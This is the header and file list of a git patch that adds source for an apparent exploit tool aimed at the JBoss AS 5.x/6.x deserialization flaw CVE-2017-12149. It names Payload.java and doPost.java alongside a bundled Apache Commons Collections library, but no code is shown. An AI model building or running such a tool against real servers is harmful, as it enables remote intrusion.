From 0d31d13d0bcb6bd94a7f0f93949f7a3ec280966e Mon Sep 17 00:00:00 2001
From: helloexp <21156949+helloexp@users.noreply.github.com>
Date: Tue, 1 Mar 2022 16:11:41 +0800
Subject: [PATCH] =?UTF-8?q?add=20Jboss=20=E5=8F=8D=E5=BA=8F=E5=88=97?=
=?UTF-8?q?=E5=8C=96=E6=BA=90=E7=A0=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.../src/com/jboss/main/Payload.java" | 190 ++
.../src/com/jboss/main/doPost.java" | 103 +
.../src/com/jboss/main/main.java" | 221 ++
.../commons/collections/ArrayStack.java" | 194 ++
.../org/apache/commons/collections/Bag.java" | 221 ++
.../apache/commons/collections/BagUtils.java" | 243 ++
.../apache/commons/collections/BeanMap.java" | 799 +++++++
.../apache/commons/collections/BidiMap.java" | 145 ++
.../commons/collections/BinaryHeap.java" | 564 +++++
.../collections/BoundedCollection.java" | 52 +
.../collections/BoundedFifoBuffer.java" | 310 +++
.../commons/collections/BoundedMap.java" | 48 +
.../apache/commons/collections/Buffer.java" | 63 +
.../collections/BufferOverflowException.java" | 73 +
.../BufferUnderflowException.java" | 76 +
.../commons/collections/BufferUtils.java" | 146 ++
.../apache/commons/collections/Closure.java" | 46 +
.../commons/collections/ClosureUtils.java" | 351 +++
.../commons/collections/CollectionUtils.java" | 1084 +++++++++
.../commons/collections/ComparatorUtils.java" | 240 ++
.../collections/CursorableLinkedList.java" | 1463 ++++++++++++
.../commons/collections/DefaultMapBag.java" | 454 ++++
.../commons/collections/DefaultMapEntry.java" | 162 ++
.../collections/DoubleOrderedMap.java" | 1994 ++++++++++++++++
.../collections/EnumerationUtils.java" | 53 +
.../collections/ExtendedProperties.java" | 1632 +++++++++++++
.../apache/commons/collections/Factory.java" | 44 +
.../commons/collections/FactoryUtils.java" | 141 ++
.../commons/collections/FastArrayList.java" | 1303 +++++++++++
.../commons/collections/FastHashMap.java" | 714 ++++++
.../commons/collections/FastTreeMap.java" | 823 +++++++
.../collections/FunctorException.java" | 143 ++
.../apache/commons/collections/HashBag.java" | 50 +
.../commons/collections/IterableMap.java" | 61 +
.../commons/collections/IteratorUtils.java" | 894 +++++++
.../apache/commons/collections/KeyValue.java" | 46 +
.../apache/commons/collections/LRUMap.java" | 206 ++
.../commons/collections/ListUtils.java" | 354 +++
.../commons/collections/MapIterator.java" | 108 +
.../apache/commons/collections/MapUtils.java" | 1469 ++++++++++++
.../commons/collections/MultiHashMap.java" | 460 ++++
.../apache/commons/collections/MultiMap.java" | 159 ++
.../commons/collections/OrderedBidiMap.java" | 63 +
.../commons/collections/OrderedIterator.java" | 47 +
.../commons/collections/OrderedMap.java" | 81 +
.../collections/OrderedMapIterator.java" | 45 +
.../commons/collections/Predicate.java" | 49 +
.../commons/collections/PredicateUtils.java" | 535 +++++
.../commons/collections/PriorityQueue.java" | 71 +
.../apache/commons/collections/ProxyMap.java" | 162 ++
.../commons/collections/ReferenceMap.java" | 957 ++++++++
.../collections/ResettableIterator.java" | 38 +
.../collections/ResettableListIterator.java" | 38 +
.../collections/SequencedHashMap.java" | 1017 ++++++++
.../apache/commons/collections/SetUtils.java" | 325 +++
.../commons/collections/SortedBag.java" | 53 +
.../commons/collections/SortedBidiMap.java" | 68 +
.../commons/collections/StaticBucketMap.java" | 709 ++++++
.../SynchronizedPriorityQueue.java" | 102 +
.../commons/collections/Transformer.java" | 50 +
.../collections/TransformerUtils.java" | 441 ++++
.../apache/commons/collections/TreeBag.java" | 76 +
.../collections/UnboundedFifoBuffer.java" | 277 +++
.../commons/collections/Unmodifiable.java" | 39 +
.../bag/AbstractBagDecorator.java" | 80 +
.../collections/bag/AbstractMapBag.java" | 591 +++++
.../bag/AbstractSortedBagDecorator.java" | 75 +
.../commons/collections/bag/HashBag.java" | 83 +
.../collections/bag/PredicatedBag.java" | 108 +
.../collections/bag/PredicatedSortedBag.java" | 102 +
.../collections/bag/SynchronizedBag.java" | 127 +
.../bag/SynchronizedSortedBag.java" | 104 +
.../collections/bag/TransformedBag.java" | 105 +
.../bag/TransformedSortedBag.java" | 96 +
.../commons/collections/bag/TreeBag.java" | 114 +
.../commons/collections/bag/TypedBag.java" | 60 +
.../collections/bag/TypedSortedBag.java" | 60 +
.../collections/bag/UnmodifiableBag.java" | 141 ++
.../bag/UnmodifiableSortedBag.java" | 141 ++
.../commons/collections/bag/package.html" | 39 +
.../bidimap/AbstractBidiMapDecorator.java" | 78 +
.../bidimap/AbstractDualBidiMap.java" | 725 ++++++
.../AbstractOrderedBidiMapDecorator.java" | 85 +
.../AbstractSortedBidiMapDecorator.java" | 83 +
.../collections/bidimap/DualHashBidiMap.java" | 106 +
.../collections/bidimap/DualTreeBidiMap.java" | 348 +++
.../collections/bidimap/TreeBidiMap.java" | 2084 +++++++++++++++++
.../bidimap/UnmodifiableBidiMap.java" | 121 +
.../bidimap/UnmodifiableOrderedBidiMap.java" | 132 ++
.../bidimap/UnmodifiableSortedBidiMap.java" | 155 ++
.../commons/collections/bidimap/package.html" | 47 +
.../buffer/AbstractBufferDecorator.java" | 69 +
.../collections/buffer/BlockingBuffer.java" | 116 +
.../buffer/BoundedFifoBuffer.java" | 362 +++
.../buffer/CircularFifoBuffer.java" | 95 +
.../collections/buffer/PredicatedBuffer.java" | 96 +
.../collections/buffer/PriorityBuffer.java" | 537 +++++
.../buffer/SynchronizedBuffer.java" | 94 +
.../buffer/TransformedBuffer.java" | 90 +
.../collections/buffer/TypedBuffer.java" | 60 +
.../buffer/UnboundedFifoBuffer.java" | 326 +++
.../buffer/UnmodifiableBuffer.java" | 131 ++
.../commons/collections/buffer/package.html" | 40 +
.../AbstractCollectionDecorator.java" | 145 ++
...tractSerializableCollectionDecorator.java" | 68 +
.../collection/CompositeCollection.java" | 442 ++++
.../collection/PredicatedCollection.java" | 134 ++
.../collection/SynchronizedCollection.java" | 200 ++
.../collection/TransformedCollection.java" | 121 +
.../collection/TypedCollection.java" | 60 +
.../UnmodifiableBoundedCollection.java" | 141 ++
.../collection/UnmodifiableCollection.java" | 97 +
.../collections/collection/package.html" | 35 +
.../comparators/BooleanComparator.java" | 205 ++
.../comparators/ComparableComparator.java" | 126 +
.../comparators/ComparatorChain.java" | 346 +++
.../comparators/FixedOrderComparator.java" | 265 +++
.../comparators/NullComparator.java" | 175 ++
.../comparators/ReverseComparator.java" | 124 +
.../comparators/TransformingComparator.java" | 77 +
.../collections/comparators/package.html" | 26 +
.../collections/functors/AllPredicate.java" | 104 +
.../collections/functors/AndPredicate.java" | 88 +
.../collections/functors/AnyPredicate.java" | 104 +
.../collections/functors/ChainedClosure.java" | 131 ++
.../functors/ChainedTransformer.java" | 136 ++
.../functors/CloneTransformer.java" | 70 +
.../functors/ClosureTransformer.java" | 86 +
.../functors/ConstantFactory.java" | 88 +
.../functors/ConstantTransformer.java" | 89 +
.../collections/functors/EqualPredicate.java" | 84 +
.../functors/ExceptionClosure.java" | 67 +
.../functors/ExceptionFactory.java" | 67 +
.../functors/ExceptionPredicate.java" | 67 +
.../functors/ExceptionTransformer.java" | 68 +
.../functors/FactoryTransformer.java" | 85 +
.../collections/functors/FalsePredicate.java" | 65 +
.../collections/functors/ForClosure.java" | 104 +
.../collections/functors/FunctorUtils.java" | 177 ++
.../functors/IdentityPredicate.java" | 86 +
.../collections/functors/IfClosure.java" | 121 +
.../functors/InstanceofPredicate.java" | 84 +
.../functors/InstantiateFactory.java" | 139 ++
.../functors/InstantiateTransformer.java" | 118 +
.../functors/InvokerTransformer.java" | 136 ++
.../collections/functors/MapTransformer.java" | 86 +
.../collections/functors/NOPClosure.java" | 64 +
.../collections/functors/NOPTransformer.java" | 65 +
.../collections/functors/NonePredicate.java" | 104 +
.../functors/NotNullPredicate.java" | 65 +
.../collections/functors/NotPredicate.java" | 83 +
.../functors/NullIsExceptionPredicate.java" | 89 +
.../functors/NullIsFalsePredicate.java" | 87 +
.../functors/NullIsTruePredicate.java" | 87 +
.../collections/functors/NullPredicate.java" | 65 +
.../collections/functors/OnePredicate.java" | 109 +
.../collections/functors/OrPredicate.java" | 88 +
.../functors/PredicateDecorator.java" | 42 +
.../functors/PredicateTransformer.java" | 85 +
.../functors/PrototypeFactory.java" | 208 ++
.../functors/StringValueTransformer.java" | 65 +
.../collections/functors/SwitchClosure.java" | 174 ++
.../functors/SwitchTransformer.java" | 175 ++
.../functors/TransformedPredicate.java" | 103 +
.../functors/TransformerClosure.java" | 85 +
.../functors/TransformerPredicate.java" | 92 +
.../collections/functors/TruePredicate.java" | 65 +
.../functors/UniquePredicate.java" | 70 +
.../collections/functors/WhileClosure.java" | 122 +
.../collections/functors/package.html" | 26 +
.../iterators/AbstractEmptyIterator.java" | 89 +
.../iterators/AbstractIteratorDecorator.java" | 73 +
.../AbstractListIteratorDecorator.java" | 97 +
.../AbstractMapIteratorDecorator.java" | 84 +
.../AbstractOrderedMapIteratorDecorator.java" | 92 +
.../collections/iterators/ArrayIterator.java" | 222 ++
.../iterators/ArrayListIterator.java" | 213 ++
.../iterators/CollatingIterator.java" | 370 +++
.../collections/iterators/EmptyIterator.java" | 54 +
.../iterators/EmptyListIterator.java" | 54 +
.../iterators/EmptyMapIterator.java" | 44 +
.../iterators/EmptyOrderedIterator.java" | 44 +
.../iterators/EmptyOrderedMapIterator.java" | 44 +
.../iterators/EntrySetMapIterator.java" | 170 ++
.../iterators/EnumerationIterator.java" | 140 ++
.../iterators/FilterIterator.java" | 184 ++
.../iterators/FilterListIterator.java" | 284 +++
.../collections/iterators/IteratorChain.java" | 288 +++
.../iterators/IteratorEnumeration.java" | 99 +
.../iterators/ListIteratorWrapper.java" | 179 ++
.../iterators/LoopingIterator.java" | 126 +
.../iterators/ObjectArrayIterator.java" | 215 ++
.../iterators/ObjectArrayListIterator.java" | 205 ++
.../iterators/ObjectGraphIterator.java" | 253 ++
.../collections/iterators/ProxyIterator.java" | 101 +
.../iterators/ProxyListIterator.java" | 162 ++
.../iterators/SingletonIterator.java" | 128 +
.../iterators/SingletonListIterator.java" | 175 ++
.../iterators/TransformIterator.java" | 148 ++
.../iterators/UniqueFilterIterator.java" | 45 +
.../iterators/UnmodifiableIterator.java" | 78 +
.../iterators/UnmodifiableListIterator.java" | 100 +
.../iterators/UnmodifiableMapIterator.java" | 87 +
.../UnmodifiableOrderedMapIterator.java" | 95 +
.../collections/iterators/package.html" | 26 +
.../keyvalue/AbstractKeyValue.java" | 81 +
.../keyvalue/AbstractMapEntry.java" | 92 +
.../keyvalue/AbstractMapEntryDecorator.java" | 86 +
.../keyvalue/DefaultKeyValue.java" | 157 ++
.../keyvalue/DefaultMapEntry.java" | 66 +
.../collections/keyvalue/MultiKey.java" | 257 ++
.../collections/keyvalue/TiedMapEntry.java" | 134 ++
.../keyvalue/UnmodifiableMapEntry.java" | 75 +
.../collections/keyvalue/package.html" | 29 +
.../collections/list/AbstractLinkedList.java" | 1004 ++++++++
.../list/AbstractListDecorator.java" | 104 +
.../AbstractSerializableListDecorator.java" | 69 +
.../list/CursorableLinkedList.java" | 497 ++++
.../collections/list/FixedSizeList.java" | 162 ++
.../commons/collections/list/LazyList.java" | 136 ++
.../list/NodeCachingLinkedList.java" | 246 ++
.../collections/list/PredicatedList.java" | 159 ++
.../collections/list/SetUniqueList.java" | 336 +++
.../collections/list/SynchronizedList.java" | 163 ++
.../collections/list/TransformedList.java" | 150 ++
.../commons/collections/list/TreeList.java" | 885 +++++++
.../commons/collections/list/TypedList.java" | 59 +
.../collections/list/UnmodifiableList.java" | 127 +
.../commons/collections/list/package.html" | 41 +
.../collections/map/AbstractHashedMap.java" | 1327 +++++++++++
.../AbstractInputCheckedMapDecorator.java" | 196 ++
.../collections/map/AbstractLinkedMap.java" | 608 +++++
.../map/AbstractMapDecorator.java" | 140 ++
.../map/AbstractOrderedMapDecorator.java" | 94 +
.../map/AbstractReferenceMap.java" | 980 ++++++++
.../map/AbstractSortedMapDecorator.java" | 93 +
.../collections/map/CaseInsensitiveMap.java" | 146 ++
.../collections/map/CompositeMap.java" | 531 +++++
.../collections/map/FixedSizeMap.java" | 155 ++
.../collections/map/FixedSizeSortedMap.java" | 171 ++
.../commons/collections/map/Flat3Map.java" | 1123 +++++++++
.../commons/collections/map/HashedMap.java" | 109 +
.../commons/collections/map/IdentityMap.java" | 188 ++
.../commons/collections/map/LRUMap.java" | 391 ++++
.../commons/collections/map/LazyMap.java" | 160 ++
.../collections/map/LazySortedMap.java" | 144 ++
.../commons/collections/map/LinkedMap.java" | 281 +++
.../collections/map/ListOrderedMap.java" | 585 +++++
.../commons/collections/map/MultiKeyMap.java" | 909 +++++++
.../collections/map/PredicatedMap.java" | 180 ++
.../collections/map/PredicatedSortedMap.java" | 115 +
.../map/ReferenceIdentityMap.java" | 212 ++
.../collections/map/ReferenceMap.java" | 162 ++
.../collections/map/SingletonMap.java" | 592 +++++
.../collections/map/StaticBucketMap.java" | 699 ++++++
.../collections/map/TransformedMap.java" | 194 ++
.../map/TransformedSortedMap.java" | 114 +
.../commons/collections/map/TypedMap.java" | 66 +
.../collections/map/TypedSortedMap.java" | 66 +
.../map/UnmodifiableEntrySet.java" | 162 ++
.../collections/map/UnmodifiableMap.java" | 143 ++
.../map/UnmodifiableOrderedMap.java" | 144 ++
.../map/UnmodifiableSortedMap.java" | 159 ++
.../commons/collections/map/package.html" | 54 +
.../apache/commons/collections/overview.html" | 112 +
.../apache/commons/collections/package.html" | 31 +
.../AbstractSerializableSetDecorator.java" | 69 +
.../set/AbstractSetDecorator.java" | 61 +
.../set/AbstractSortedSetDecorator.java" | 86 +
.../collections/set/CompositeSet.java" | 197 ++
.../collections/set/ListOrderedSet.java" | 307 +++
.../collections/set/MapBackedSet.java" | 157 ++
.../collections/set/PredicatedSet.java" | 87 +
.../collections/set/PredicatedSortedSet.java" | 115 +
.../collections/set/SynchronizedSet.java" | 81 +
.../set/SynchronizedSortedSet.java" | 128 +
.../collections/set/TransformedSet.java" | 72 +
.../set/TransformedSortedSet.java" | 110 +
.../commons/collections/set/TypedSet.java" | 59 +
.../collections/set/TypedSortedSet.java" | 59 +
.../collections/set/UnmodifiableSet.java" | 95 +
.../set/UnmodifiableSortedSet.java" | 139 ++
.../commons/collections/set/package.html" | 42 +
283 files changed, 61889 insertions(+)
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/Payload.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/doPost.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/main.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ArrayStack.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Bag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BagUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BeanMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BinaryHeap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedCollection.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedFifoBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Buffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferOverflowException.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUnderflowException.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Closure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ClosureUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CollectionUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ComparatorUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/CursorableLinkedList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DefaultMapBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DefaultMapEntry.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DoubleOrderedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/EnumerationUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ExtendedProperties.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Factory.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FactoryUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastArrayList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastHashMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastTreeMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FunctorException.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/HashBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IterableMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/IteratorUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/KeyValue.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/LRUMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ListUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MapUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiHashMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/MultiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/OrderedMapIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Predicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PredicateUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/PriorityQueue.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ProxyMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ReferenceMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ResettableListIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SequencedHashMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SetUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/StaticBucketMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SynchronizedPriorityQueue.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Transformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TransformerUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TreeBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/UnboundedFifoBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Unmodifiable.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractBagDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractMapBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractSortedBagDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/HashBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/PredicatedSortedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/SynchronizedSortedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TransformedSortedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TreeBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedBag.java"
